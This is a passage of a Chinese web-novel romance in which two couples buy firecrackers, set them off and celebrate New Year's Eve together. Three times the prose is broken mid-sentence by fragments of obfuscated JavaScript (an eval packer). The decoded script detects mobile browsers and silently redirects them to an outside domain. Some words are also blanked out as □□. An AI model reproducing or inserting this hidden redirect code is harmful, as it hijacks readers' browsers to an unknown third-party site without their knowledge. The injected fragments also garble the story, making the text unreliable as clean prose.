林屿转头看他。 周浩的眼睛亮亮的,里面映着窗外的阳光。 “……好。” 批发市场很热闹,到处都是置办年货的人。卖对联的、卖干果的、卖肉的、卖鱼的,吆喝声此起彼伏。 卖鞭炮的店在最里面,一个很大的棚子,门口堆满了各种鞭炮。大挂鞭、小挂鞭、二踢脚、□□,一卷一卷摞得比人还高。 周浩站在门口,看呆了。 “这么多……” “嗯。”林屿牵着他走进去,“挑挑。” 老板是个中年大叔,看见他们进来,热情地招呼:“买鞭炮啊?自己家用还是送人?” “自己家用。”林屿说。 “那看看这个!”老板指着门口最大的一卷,“一万响的,过年放最气派!” 周浩看着那卷比他还粗的鞭炮,咽了口口水。 “这个……是不是太大了?” “大什么大!”老板笑了,“过年嘛,越大越喜庆!” 周浩看向林屿。 林屿没说话,在店里慢慢转着看。 他看得很仔细。每一卷都拿起来看看标签,问问老板多少响、燃多长时间、声音大不大。 周浩跟在后面,看他认真挑的样子,心里软软的。 挑了半天,林屿选中了三卷。 一卷五千响的,一卷三千响的,一卷一千响的。 “就这些。”他对老板说。 老板麻利地把三卷鞭炮装进大塑料袋里。 “还要别的吗?二踢脚?□□?” 林屿想了想,看向周浩。 “你想要吗?” 周浩愣了一下。 “我、我都行……” “要还是不要?” 周浩犹豫了一下。 “□□……好看吗?” “好看。”老板插嘴,“晚上放,五颜六色的,可漂亮了!” 周浩眼睛亮了亮。 林屿看见了。 “来两个。”他说。 老板笑呵呵地又装了两个□□。 周浩在旁边看着,心里甜滋滋的。 买完鞭炮,两人拎着大袋子往外走。 袋子很沉,林屿一个人拎着。周浩要帮忙,他不让。 “你拿着那个就行。”林屿指了指他手里的另一个袋子——里面装的是昨天买的春联和窗花。 周浩拎着那个轻飘飘的袋子,看着林屿拎着大鞭炮走在前面的背影。 忽然觉得,这个画面他可以看一辈子。 出了市场,他们找了个地方吃午饭。 是小饭馆,几张桌子,生意很好。周浩点了两碗牛肉面,又要了一盘拍黄瓜。 等面的时候,他看着对面那袋大鞭炮。 “林屿。” “嗯。” “这些鞭炮,什么时候放?” “初一早上。” “那么早?” “嗯。”林屿说,“我们家习惯初一早上放。” 周浩想了想。 “那我初一早点去你家。” 林屿看着他。 “几点?” “五……五点?”周浩有点不确定,“会不会太早?” “不用。”林屿说,“你多睡会儿。” “可是我想看你们放鞭炮——” “你来就能看。”林屿说,“几点都行。” 周浩愣了一下。 “真的?” “嗯。” 周浩笑了。 “那我初一早上四点就起!” 林屿看着他。 “起得来吗?” “起得来!”周浩信誓旦旦,“为了看鞭炮,起得来!” 林屿没说话。 但他嘴角微微弯了一下。 面端上来了,热腾腾的。周浩埋头吃,吃了两口,忽然想起什么。 “林屿。” “嗯。” “你爸妈……知道我们今天买鞭炮吗?” “知道。” “他们说什么?” “没说什么。”林屿夹了一筷子面,“就说别买太大的。” 周浩愣了一下。 “那……我们买的那卷五千响的,算大吗?” 林屿想了想。 “算。” 周浩:“……” “但是。”林屿说,“我妈说,你想买就买。” 周浩愣住了。 “你妈说的?” “嗯。” “她、她知道是我……” “知道。”林屿看着他,“我说了,和你一起买的。” 周浩张了张嘴,不知道该说什么。 林屿看着他。 “我妈喜欢你。”他说,“我爸也是。” 周浩眼眶有点酸。 他低下头,继续吃面。 吃了两口,闷闷地说:“林屿。” “嗯。” “你爸妈真好。” “嗯。” “你也好。” 林屿愣了一下。 然后他低头,继续吃面。 但耳尖红了。 吃完饭,两人打车回城。 车上,周浩靠着林屿的肩膀,有点困。 “林屿。” “嗯。” “今天开心。” “嗯。” “你呢?” 林屿沉默了几秒。 “开心。” 周浩笑了。 他往林屿肩上又靠了靠,闭上眼睛。 林屿低头看他。 周浩的睫毛很长,安静地覆着。嘴角还带着一点笑,不知道在做什么好梦。 林屿看了一会儿,收回视线。 但他伸手,把周浩往自己这边轻轻揽了揽。 前排的司机从后视镜里看了一眼,笑了笑,没说话。 车窗外,午后的阳光很好。 腊月的风很冷,但车里很暖。 回到林屿家,已经下午三点多了。 林妈妈开门,看见他们拎着大袋鞭炮,笑了。 “买这么多?” “嗯。”林屿把袋子放下,“五千响的,三千响的,一千响的,还有两个□□。” 林妈妈看了看,又看向周浩。 “小周挑的?” 周浩连忙摆手:“不是我!林屿挑的!” 林妈妈笑了。 “他挑的跟你挑的一样。”她说,“他喜欢的东西,肯定也是你喜欢的。” 周浩愣住了。 林屿在旁边,耳尖微微红了一点。 林妈妈没再说什么,去厨房忙活了。 周浩站在原地,看着林屿。 “林屿。” “嗯。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271928|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你妈刚才的话……” “什么?” “她说你喜欢的,肯定也是我喜欢的。” 林屿没说话。 周浩看着他。 “那……你喜欢我什么?” 林屿沉默了几秒。 “都喜欢。” 周浩愣住了。 林屿看着他,眼神很认真。 “你喜欢鞭炮,我就想和你一起买鞭炮。你喜欢□□,我就买□□。你喜欢吃牛肉面,我就陪你吃牛肉面。” 他顿了顿。 “你喜欢的东西,我也喜欢。” 周浩张了张嘴,不知道该说什么。 林屿看着他。 “周浩。” “嗯……” “我喜欢你。”他说,“所以你喜欢什么,我就喜欢什么。” 周浩眼眶酸了。 他低下头,过了很久。 “……林屿。” “嗯。” “你这样说话,我会哭的。” 林屿愣了一下。 然后他伸手,轻轻揉了揉他的头发。 “别哭。”他说,“晚上还要放鞭炮呢。” 周浩抬起头,眼睛红红的。 “晚上放?” “嗯。”林屿说,“三千响的那个,今晚试放一下。” 周浩眼睛亮了。 “真的?” “嗯。” 周浩笑了。 他把眼泪憋回去,用力点头。 “好!” 晚上七点,天已经黑透了。 林屿家楼下有个小广场,平时没什么人。今晚风不大,月亮很亮,是个放鞭炮的好天气。 林屿拎着那卷三千响的鞭炮下楼。周浩跟在后面,又兴奋又紧张。 “林屿。” “嗯。” “这个……声音大吗?” “有点。” 周浩咽了口口水。 “那、那我站远点。” “好。” 林屿在广场中央把鞭炮展开。三千响的鞭炮很长,一圈一圈盘在地上,像一条红色的蛇。 周浩站在十米开外,捂着耳朵。 林屿看了他一眼。 “再远点?” 周浩摇头。 “就这儿。”他捂着耳朵喊,“我能看见你!” 林屿没说话。 他蹲下来,拿出打火机。 引线点着了。 “滋——” 细小的火花在夜色里跳动。 林屿站起来,快步往后退。 他退到周浩身边,握住他的手。 “捂好耳朵。” 周浩用力点头。 “嘭!” 第一声炸响。 然后是密集的“噼里啪啦”,一声接一声,像爆豆子,像下暴雨。 红色的纸屑飞溅,在夜色里翻腾。 周浩捂着耳朵,眼睛却死死盯着那片火光。 林屿站在他旁边,也看着。 火光映在他们脸上,明明灭灭。 三千响放了好一会儿。 最后一响落下,四周突然安静了。 只有硝烟的味道,和满地的红纸屑。 周浩放下手,长长地呼出一口气。 “放完了……” “嗯。”林屿看着他,“怕吗?” 周浩想了想。 “有点。”他老实说,“但是……” 他顿了顿,笑了。 “但是你在,就不怕。” 林屿看着他。 月光下,周浩的眼睛很亮。 林屿忽然伸手,把他拉进怀里。 周浩愣了一下。 “林屿……” “让我抱一会儿。” 周浩没说话。 他靠在林屿怀里,听着他的心跳。 硝烟的味道还在,混着林屿身上淡淡的洗衣液香。 “林屿。” “嗯。” “明年还这样放。” “好。” “后年也放。” “好。” “每年都放。” 林屿低头,在他发顶亲了一下。 “每年都放。” 周浩笑了。 他把脸埋进林屿胸口,抱紧他。 楼上,林妈妈站在阳台上,看着楼下抱在一起的两个人。 她笑了笑,转身回去。 “外面冷。”她对林爸爸说,“给他们煮点姜汤吧。” 林爸爸点点头。 “好。” 楼下,两人还抱着。 满地的红纸屑在夜风里轻轻打旋。 远处有人家也在放鞭炮,声音隐隐约约传来。 周浩忽然说:“林屿。” “嗯。” “我爱你。” 林屿愣了一下。 然后他把他抱得更紧。 “……我也爱你。” 月亮很亮。 风很冷。 但心很暖。 38. 除夕·烟火年年 农历二十九,没有三十。 所以今天就是除夕。 陆知岩早上睁眼第一件事,就是确认鹿之言还在身边。 还在。 鹿之言背对着他,呼吸平稳,睡得很沉。昨晚他又加班到凌晨,医院的事永远忙不完。 陆知岩没动。他就这样躺着,看着鹿之言的背影,看他的头发,他的耳朵,他露在被子外面的半截后颈。 看了很久。 手机震了。 【弟】:今天去哪儿放烟花? 【弟】:我和鹿炽想去郊区。 陆知岩单手回: 【哥】:行,几点? 【弟】:晚上七点吧,吃完年夜饭。 【哥】:好。 放下手机,他又看向鹿之言。 他的之言,睡着的时候最乖。 他忍不住凑过去,在他耳朵上亲了一下。 鹿之言动了动,没醒。 又亲一下。 这次鹿之言翻了个身,睁开眼。 “几点了?” “八点。”陆知岩说,“还早。” 鹿之言看着他。 “你亲我干嘛?” “想亲。” 鹿之言沉默了两秒。 “幼稚。” 但他没躲,反而往他怀里靠了靠。 陆知岩笑了,把他搂紧。 “之言,今晚去郊区放烟花。” “嗯。” “买了好几个大的。” “嗯。” “你陪我放。” 鹿之言的睫毛动了动。 “……好。” 傍晚六点,两辆车先后抵达郊外的空地。 说是空地,其实是陆知岩让人提前找的地方——一片开阔的野地,四周没有人家,不用担心扰民。远处能看见连绵的山影,头顶是一片灰蓝色的天空,正在慢慢变暗。 陆知岩停好车,从后备箱里往外搬东西。 烟花,烟花,还是烟花。 大的小的,圆筒的方盒的,堆了一地。 鹿之言站在旁边看着,表情平静。 “买这么多?” “过年嘛。”陆知岩理直气壮,“一年就这一次。” 鹿之言没说话。 但他嘴角微微弯了一下。 另一辆车也到了。 陆沉远停好车,和鹿炽一起走过来。鹿炽裹着那件奶白色羽绒服,帽子上的白毛毛在风里轻轻晃。 “哥。”他叫鹿之言。 “嗯。”鹿之言点点头,“冷吗?” “不冷。”鹿炽摇头。 鹿之言走过去,伸手摸了摸他的脸。 冰的。 他把自己的围巾解下来,围在鹿炽脖子上。 鹿炽愣了一下。 “哥——” “围着。” 鹿炽看着哥哥,眼眶有点酸。 “……嗯。” 陆沉远在旁边看着,默默把自己的围巾往上拉了拉。 陆知岩看见了。 他走过去,搂住鹿之言的肩。 “之言,你冷吗?” “不冷。” “那我给你暖暖?” 鹿之言看了他一眼。 “不用。” 陆知岩委屈了。 鹿之言没理他,但也没挣开他的手。 烟花开始放了。 第一个是陆知岩点的。 他选了个最大的圆筒烟花,放在空地中央。点燃引线,快步退回来,站在鹿之言身边。 “滋——” 引线燃尽。 “嘭!” 一颗光点冲天而起,在夜空中炸开。 金红色的火花散落,像一场金色的雨。 “哇——”鹿炽仰头看着,眼睛亮晶晶的。 第二颗,第三颗,第四颗。 红的,绿的,金的,紫的。 一朵接一朵,在夜空中绽放。 鹿之言也仰头看着。 他的侧脸被烟花的光映得明明灭灭,睫毛很长,在眼睑下投出淡淡的阴影。 陆知岩看着他。 “之言。” “嗯。” “好看吗?” “好看。” “我问的是你。”陆知岩说,“你好看。” 鹿之言转头看他。 烟花的余光里,陆知岩的眼睛很亮。 鹿之言看了他几秒。 “傻不傻。” “不傻。” 鹿之言没说话。 但他伸手,握住了陆知岩的手。 另一边,陆沉远也在点烟花。 他选的是那种会喷出彩色小星星的,像喷泉一样,一簇一簇往上冒。 鹿炽站在旁边,举着手机录像。 “陆沉远!你站过去一点!” “干嘛?” “给你拍照!” 陆沉远依言站过去。 鹿炽对着他拍了十几张,又低头看屏幕。 陆沉远走过来。 “好看吗?” 鹿炽把手机举给他看。 照片里,陆沉远站在烟花前面,金黄色的火花在他身后绽放。他的脸被光映得柔和,眼神很专注地看着镜头——不对,是看着镜头后面的鹿炽。 陆沉远看了几秒。 “好看。” “嗯?”鹿炽抬头,“你说烟花还是——” “你拍的。”陆沉远说,“都好看。” 鹿炽愣了一下,然后脸红了。 他把手机收起来,低头假装看烟花。 但嘴角压不住。 烟花放了一轮又一轮。 大的放完了,放小的。小的放完了,放那种拿在手里的仙女棒。 鹿炽举着两根仙女棒,在空地上转圈。金黄色的火花在夜色里画出一道道光弧。 陆沉远站在旁边,看着他。 看了很久。 “鹿炽。” “嗯?”鹿炽停下,转头看他。 陆沉远走过去。 在他面前站定。 “过年好。”他说。 鹿炽愣了一下。 “现在才七点多,还没到十二点……” “我知道。”陆沉远说,“但我想先说。” 鹿炽看着他。 仙女棒的火花渐渐燃尽,灭了。 四周暗下来。 只有远处烟花的余光,和他眼睛里的光。 “陆沉远。”鹿炽轻声叫他。 “嗯。” “我也想说。” “说什么?” 鹿炽踮起脚,在他嘴角亲了一下。 “过年好。” 陆沉远愣了一秒。 然后他伸手,把他拉进怀里。 低头,吻住他。 不是轻触,是认真的、漫长的吻。 烟花在他们头顶绽放,红的绿的,一簇一簇。 鹿炽闭着眼睛,手抓着他的衣襟。 不知过了多久,陆沉远松开他。 “鹿炽。” “嗯……” “以后每年都这样。” 鹿炽看着他。 “每年都一起过年。” “每年都一起放烟花。” “每年都……”他顿了顿,“每年都接吻。” 鹿炽眼眶酸了。 “……好。”他轻声说。 另一边,陆知岩也在看烟花。 他搂着鹿之言,站在空地边上。远处烟花不断升起,把夜空染成五颜六色。 “之言。”他叫他。 “嗯。” “你知道今天什么日子吗?” 鹿之言的眉毛动了动。 “除夕。” “对。”陆知岩说,“但还有别的。” 鹿之言转头看他。 陆知岩从口袋里掏出一样东西。 是一个红包,红色的封皮,金色的字。 鹿之言愣住了。 “给我的?” “嗯。”陆知岩把红包塞进他手里,“压岁钱。” 鹿之言看着手里的红包,一时不知道说什么。 “我都三十了……” “三十怎么了。”陆知岩说,“在我这儿,你永远可以收压岁钱。” 鹿之言张了张嘴。 陆知岩看着他。 “打开看看。” 鹿之言打开红包。 里面不是钱。 是一张纸条。 他展开来看。 纸条上只有一行字。 “明年也一起过。” 鹿之言看着那行字,看了很久。 然后他抬头,看着陆知岩。 “你……” “每年都写。”陆知岩说,“每年都放。” 鹿之言的喉结动了动。 “每年都一起过。” 鹿之言的眼泪掉下来。 他低头,把脸埋进陆知岩怀里。 陆知岩愣了一下。 “之言?” “没事。”鹿之言声音闷闷的,“就是……” 他没说完。 陆知岩没问。 他只是把他抱得更紧。 “每年都一起过。”他在他耳边说,“我保证。” 鹿之言没说话。 但他把他抱得很紧。 烟花放完了。 他们收拾好东西,开车回家。 鹿炽靠在陆沉远肩上,困得快睡着了。 “陆沉远。” “嗯。” “到家叫我。” “好。” 鹿炽闭上眼睛。 陆沉远低头看他。 睡着的样子很乖,睫毛安静地覆着,嘴角还有一点笑。 他看了一会儿,收回视线。 前面那辆车里,陆知岩也在看鹿之言。 鹿之言没睡,看着窗外。 窗外的夜景飞速后退,路灯一盏一盏掠过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271929|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “之言。”陆知岩叫他。 “嗯。” “今晚开心吗?” 鹿之言想了想。 “……开心。” 陆知岩笑了。 “我也是。” 回到家,已经快十点了。 春晚刚开始不久,主持人在台上说着吉祥话。 陆知岩打开电视,把音量调大。 “看春晚?” 鹿之言看了他一眼。 “你不是说不看吗?” “今年看。”陆知岩拉着他在沙发上坐下,“和你一起看。” 鹿之言没说话。 但他靠进他怀里,找了个舒服的姿势。 茶几上摆着瓜子、花生、糖果,还有下午包好的饺子——鹿之言包的,虽然形状不太好看,但陆知岩说这是他吃过最好吃的饺子。 电视里,小品演员正在讲笑话。 陆知岩笑了几声,低头看鹿之言。 鹿之言没笑,但嘴角微微弯着。 “不好笑吗?” “一般。” “那你怎么笑了?” “看你看笑了。” 陆知岩愣了一下。 然后他把他抱得更紧。 “之言。” “嗯。” “你越来越会说话了。” 鹿之言没理他。 但他往后靠了靠,靠进他怀里。 零点快到了。 电视里开始倒计时。 “十、九、八、七……” 陆知岩低头,看着怀里的鹿之言。 “之言。” “嗯。” “新年快乐。” 鹿之言的睫毛动了动。 “新年快乐。” “六、五、四、三……” 陆知岩凑过去,在他嘴角亲了一下。 “二、一!” 电视里传来欢呼声。 窗外,远处隐约传来鞭炮声。 新的一年到了。 陆知岩抬头,看着窗外的夜空。 “之言。” “嗯。” “明年还一起看春晚。” “好。” “后年也一起。” “好。” “每年都一起。” 鹿之言沉默了几秒。 然后他伸手,握住陆知岩的手。 “每年都一起。” 陆知岩笑了。 他低头,在他额头上又亲了一下。 鹿之言闭上眼睛。 窗外的鞭炮声越来越远。 新的一年,开始了。 他们在一起。 这就够了。 另一个房间里,陆沉远和鹿炽也在看春晚。 鹿炽靠在陆沉远肩上,眼睛半眯着。 “困了?” “有点。”鹿炽小声说,“但想守岁。” 陆沉远看着他。 “那就不睡。” “嗯。” 电视里在唱歌,是那种很热闹的拜年歌。 鹿炽听了一会儿,忽然说:“陆沉远。” “嗯。” “去年这时候,你在干嘛?” 陆沉远想了想。 “在家。”他说,“一个人。” 鹿炽愣了一下。 “一个人?” “嗯。”陆沉远说,“我哥那年出差,就我一个人。” 鹿炽没说话。 他想起去年的自己。除夕夜,也是一个人。躲在房间里,假装听不见外面的鞭炮声。 “那今年呢?”他问。 陆沉远看着他。 “今年有你。” 鹿炽眼眶酸了。 他往他怀里又靠了靠。 “以后每年都有我。” “好。” “每年都一起过年。” “好。” “每年都……”他顿了顿,“每年都在一起。” 陆沉远低头,在他发顶亲了一下。 “每年都在一起。” 窗外的鞭炮声渐渐停了。 新的一年,真的开始了。 凌晨一点,鹿炽终于撑不住,睡着了。 陆沉远把他抱回房间,轻轻放在床上,盖好被子。 他在床边坐了一会儿,看着他的睡颜。 然后他拿出手机,发了条朋友圈。 只有一张照片。 是晚上拍的烟花。 配文:今年有你。 点赞很快跳出来。 周浩:???远哥你居然发朋友圈??? 林屿:新年快乐。 陆知岩:新年快乐,弟。 陆沉远看着那些评论,嘴角弯了弯。 他放下手机,躺下来,把鹿炽搂进怀里。 鹿炽在睡梦中动了动,往他怀里靠了靠。 陆沉远闭上眼睛。 新的一年,开始了。 他们都在一起。 39. 屿浩·岁岁年年 周浩是被鞭炮声吵醒的。 不是那种小摔炮的脆响,是远处传来的、闷闷的、一阵一阵的轰鸣。有人在放开门炮。 他睁开眼,盯着天花板愣了三秒。 然后猛地坐起来。 除夕! 今天除夕! 他抓起手机看了眼时间——早上七点十三分。 还早。 但他睡不着了。 他躺回去,盯着天花板,脑子里开始自动播放今天的安排。 上午帮林妈妈包饺子,下午和林屿贴春联,晚上吃年夜饭,然后……然后放鞭炮! 那卷五千响的大鞭炮! 还有三千响的!一千响的!两个□□! 周浩越想越兴奋,在被窝里翻了个身。 手机震了。 【屿】:醒了? 周浩立刻回: 【浩】:醒了醒了! 【屿】:几点过来? 【浩】:现在能来吗? 【屿】:…… 【屿】:八点吧。 【浩】:好!!! 他看了眼时间——七点十五。 还有四十五分钟。 他开始数秒。 八点整,周浩准时出现在林屿家门口。 他今天穿了件大红色的卫衣,帽子上有个蠢兮兮的毛球。头发特意抓过,喷了发胶,闻起来一股橘子味。 门开了。 林屿站在门口,看见他这身打扮,愣了一下。 “怎么穿这么红?” “过年嘛!”周浩理直气壮,“喜庆!” 林屿看着他。 周浩的眼睛亮亮的,脸上的笑藏都藏不住。 林屿没说话。 但他伸手,帮他把帽子上的毛球理了理。 “进来吧。” 周浩进门,先给林爸爸林妈妈拜年。 “叔叔阿姨过年好!” 林妈妈正在厨房忙活,探出头来:“小周来啦?快坐快坐!吃早饭了吗?” “吃了吃了!” “那等会儿帮阿姨包饺子!” “好嘞!” 林爸爸坐在沙发上看电视,对他点点头。 周浩在他旁边坐下,林屿坐在另一边。 电视里在放春晚倒计时的特别节目,主持人说着吉祥话。茶几上摆着瓜子花生,还有一盘切好的水果。 周浩抓了把瓜子,开始嗑。 嗑一颗,看一眼林屿。 嗑两颗,又看一眼林屿。 林屿被他看得没法忽略。 “看什么?” “看你。”周浩说,“好看。” 林屿沉默了两秒。 然后他伸手,把周浩手里的瓜子拿过来,放在茶几上。 “等会儿再嗑。” “为什么?” “帮我妈包饺子。” 周浩愣了一下,然后立刻站起来。 “好好好!现在就去!” 林屿看着他那个积极劲儿,嘴角微微弯了一下。 厨房里,林妈妈正在调馅。 “阿姨,我来帮忙!”周浩撸起袖子。 “好好好。”林妈妈笑着让出位置,“你会包吗?” “会!”周浩拍胸脯,“我跟姥姥学过!” 他拿起一张饺子皮,舀一勺馅,对折,捏褶。 动作还挺利索。 林妈妈在旁边看着,笑了。 “包得不错啊。” “那当然!”周浩得意了,“姥姥教得好!” 林屿站在旁边,也拿起一张饺子皮开始包。 他包得慢,但很规整,褶子均匀,一个一个像复制粘贴。 周浩看着,默默对比了一下自己手里那个胖乎乎的饺子。 “林屿。” “嗯。” “你包得真好看。” 林屿看了他一眼。 “你包得可爱。” 周浩愣了一下。 “可爱?饺子还能可爱?” “嗯。”林屿把他那个胖饺子放进盘子里,“像你。” 周浩脸红了。 他低头继续包,但嘴角压不住。 林妈妈在旁边看着,笑而不语。 包完饺子,已经十点多了。 林妈妈开始准备年夜饭,林爸爸出门买酒去了。林峰窝在房间里打游戏,客厅里只剩下林屿和周浩。 “林屿。”周浩叫他。 “嗯。” “现在干嘛?” 林屿看了眼时间。 “贴春联。” 周浩眼睛亮了。 “我来贴!” 春联是前几天一起买的,红底金字,洒金的暗纹。林屿把它们从袋子里拿出来,摊开。 “上联、下联、横批。”他一样样摆好,“还有福字。” 周浩拿着春联,左看右看。 “哪个贴上联?” “右边。” “哦哦。”周浩把上联举起来,“那我来贴!” 林屿搬来凳子,扶稳。 周浩站上去,比划半天。 “正了吗?” 林屿退后两步看了看。 “往左一点。” 周浩挪了挪。 “再往左一点。” 又挪了挪。 “好,正了。” 周浩把胶带贴上,从凳子上跳下来。 “看看!” 林屿看着那副对联。 贴得有点歪,胶带也不太整齐。 但他点点头。 “挺好。” 周浩笑了。 他又拿起下联,站上凳子。 “这个呢?” “再往右一点。” “这样?” “嗯。” 周浩贴好,又跳下来,站在林屿旁边一起看。 两副对联贴好了,红彤彤的,很喜庆。 “好看!”周浩说。 “嗯。”林屿说,“你贴的,好看。” 周浩愣了一下,然后脸红了。 他又拿起福字。 “这个贴哪儿?” “门上。” 周浩拿着福字,准备贴。 林屿在旁边说:“倒着贴。” “为什么?” “福到了。” 周浩眨了眨眼。 然后他把福字倒过来,贴上。 “福到了!”他转身对林屿说,“新年快乐!” 林屿看着他。 阳光从窗户照进来,落在他身上,把他整个人镀成金色。 “新年快乐。”林屿说。 周浩笑了。 他走过去,抱住林屿。 “林屿。” “嗯。” “和你一起过年真好。” 林屿愣了一下。 然后他伸手,把他抱紧。 “……我也是。” 年夜饭很丰盛。 红烧肉、糖醋排骨、清蒸鲈鱼、油焖大虾、炸春卷、四喜丸子,摆了满满一桌。 周浩看着那桌菜,眼睛都直了。 “阿姨,这也太多了……” “不多不多!”林妈妈笑呵呵的,“过年嘛,就得丰盛点!” 周浩坐下,看着满桌菜,又看看林屿。 林屿给他夹了一块红烧肉。 “吃。” 周浩低头吃。 真好吃。 比他妈做的还好吃。 林妈妈看他吃得香,笑得更开心了。 “小周,多吃点!喜欢吃什么自己夹,别客气!” “谢谢阿姨!” 林爸爸倒了杯酒,举起杯。 “来,过年了,大家一起喝一杯。” 周浩赶紧端起杯子——里面是饮料,林妈妈特意给他倒的。 “祝大家新年快乐!”他说。 “新年快乐!” 碰杯,喝。 电视里放着春晚,主持人在台上说吉祥话。窗外偶尔传来几声鞭炮响,是小孩在玩剩下的摔炮。 周浩吃着饭,时不时看一眼林屿。 林屿吃得不快,但一直在他碗里夹菜。他碗里堆成了小山,怎么吃都吃不完。 “林屿,你自己也吃……” “吃了。” “那你怎么老给我夹?” 林屿看着他。 “你吃,我看着高兴。” 周浩愣住了。 林屿继续吃饭,像什么都没说过。 周浩低头看着碗里,嘴角压不住地往上翘。 吃完饭,林妈妈收拾桌子,林爸爸去阳台抽烟。 林峰又回房间打游戏去了,临走前对他哥挤眉弄眼。 客厅里只剩下林屿和周浩。 周浩靠在沙发上,摸着自己圆滚滚的肚子。 “吃撑了。” “嗯。”林屿坐在他旁边,“等会儿下去放鞭炮,消食。” 周浩眼睛亮了。 “现在去吗?” “再等会儿。”林屿看了眼时间,“天还没黑透。” “那现在干嘛?” 林屿想了想。 “看春晚。” 周浩靠过来,靠在他肩上。 “好。” 春晚的小品很搞笑,周浩笑得前仰后合。 林屿没怎么笑,但一直看着他。 周浩笑完,转头看他。 “你怎么不笑?” “笑了。” “哪儿笑了?我没看见。” 林屿看着他。 “在心里笑的。” 周浩愣了一下,然后脸红了。 “你……你越来越会说了。” 林屿没说话。 但他伸手,把周浩的手握在手里。 周浩低头看着两人交握的手,心里软软的。 “林屿。” “嗯。” “今年真好。” “嗯。” “和你一起过年真好。” 林屿握紧他的手。 “……我也是。” 天黑透了。 远处隐约传来鞭炮声,一阵一阵的。 周浩坐不住了。 “林屿,现在能去放了吗?” 林屿看了眼时间——八点多。 “走吧。” 周浩跳起来,去拎那袋大鞭炮。 “这个!五千响的!今晚就放这个!” 林屿看着那个大卷,点点头。 “好。” 楼下的小广场,今天格外安静。 大概是大家都在家吃年夜饭,还没到出门放鞭炮的时候。 周浩把那卷五千响的鞭炮放在广场中央,一圈一圈展开。 很大,很红,像一条盘踞的蛇。 他退后几步,看着那卷鞭炮,又紧张又兴奋。 “林屿!” “嗯。” “你来点!” 林屿走过去,蹲下来。 他拿出打火机,回头看周浩。 “你站远点。” 周浩退后了几步。 “再远点。” 又退了几步。 林屿转过头,点燃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271930|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引线。 “滋——” 细小的火花在夜色里跳动。 林屿站起来,快步走到周浩身边,握住他的手。 “捂耳朵。” 周浩刚抬起手—— “嘭!” 第一声炸响。 然后是密集的“噼里啪啦”,像爆豆子,像下暴雨。 五千响的鞭炮,震得人耳朵嗡嗡响。 红色的纸屑飞溅,在夜色里翻腾。 周浩捂着耳朵,眼睛死死盯着那片火光。 林屿站在他旁边,也看着。 火光映在他们脸上,明明灭灭。 放了很久。 最后一响落下,四周突然安静了。 只有硝烟的味道,和满地的红纸屑。 周浩放下手,长长地呼出一口气。 “放完了……” “嗯。”林屿看着他,“怕吗?” 周浩想了想。 “有点。”他老实说,“但是……” 他顿了顿,笑了。 “但是你在,就不怕。” 林屿看着他。 月光下,周浩的眼睛很亮。 林屿忽然伸手,把他拉进怀里。 周浩愣了一下。 “林屿……” “让我抱一会儿。” 周浩没说话。 他靠在林屿怀里,听着他的心跳。 硝烟的味道还在,混着林屿身上淡淡的洗衣液香。 “林屿。” “嗯。” “明年还这样放。” “好。” “后年也放。” “好。” “每年都放。” 林屿低头,在他发顶亲了一下。 “每年都放。” 周浩笑了。 他把脸埋进林屿胸口,抱紧他。 远处又传来鞭炮声,是别人家在放。 但他们的已经放完了。 满地的红纸屑,是他们的战绩。 周浩抬起头,看着林屿。 “林屿。” “嗯。” “新年快乐。” 林屿看着他。 看了很久。 然后他低头,吻住他。 不是轻触,是认真的、温柔的吻。 周浩闭上眼睛,手抓着他的衣襟。 远处鞭炮声此起彼伏,但他们什么都听不见了。 只知道彼此的呼吸,和心跳。 不知过了多久,林屿松开他。 “新年快乐。”他说。 周浩眼眶酸了。 “……嗯。” 上楼的时候,已经快十点了。 春晚还在播,主持人在串场。 林妈妈给他们煮了饺子——是下午包的,周浩亲手包的那几个胖乎乎的。 “来来来,吃饺子!” 周浩坐下,夹起一个。 咬一口,是白菜猪肉馅的,很香。 “好吃!”他说,“阿姨你调的馅真好吃!” 林妈妈笑了。 “好吃就多吃点。” 周浩埋头吃,吃了好几个。 吃到第五个的时候,林屿忽然说:“这个是你包的。” 周浩愣了一下。 “你怎么知道?” “胖。”林屿说,“像你。” 周浩:“……” 他低头看那个饺子,确实胖乎乎的,比其他饺子都圆。 他脸红了。 “包得不好看……” “好吃就行。”林屿说,“你包的,好吃。” 周浩看着他。 林屿表情平静,低头继续吃饺子。 但周浩看见他耳尖红了一点。 他笑了。 低头继续吃。 吃完饺子,已经快十一点了。 林妈妈去睡了,林爸爸也回房间了。林峰早就不见人影。 客厅里只剩下林屿和周浩。 电视里放着春晚,马上要倒计时了。 周浩靠在林屿肩上,困得眼睛快睁不开了。 “困了?” “嗯……”周浩迷迷糊糊地应。 “那睡吧。” “不睡。”周浩强撑着,“要守岁。” 林屿看着他。 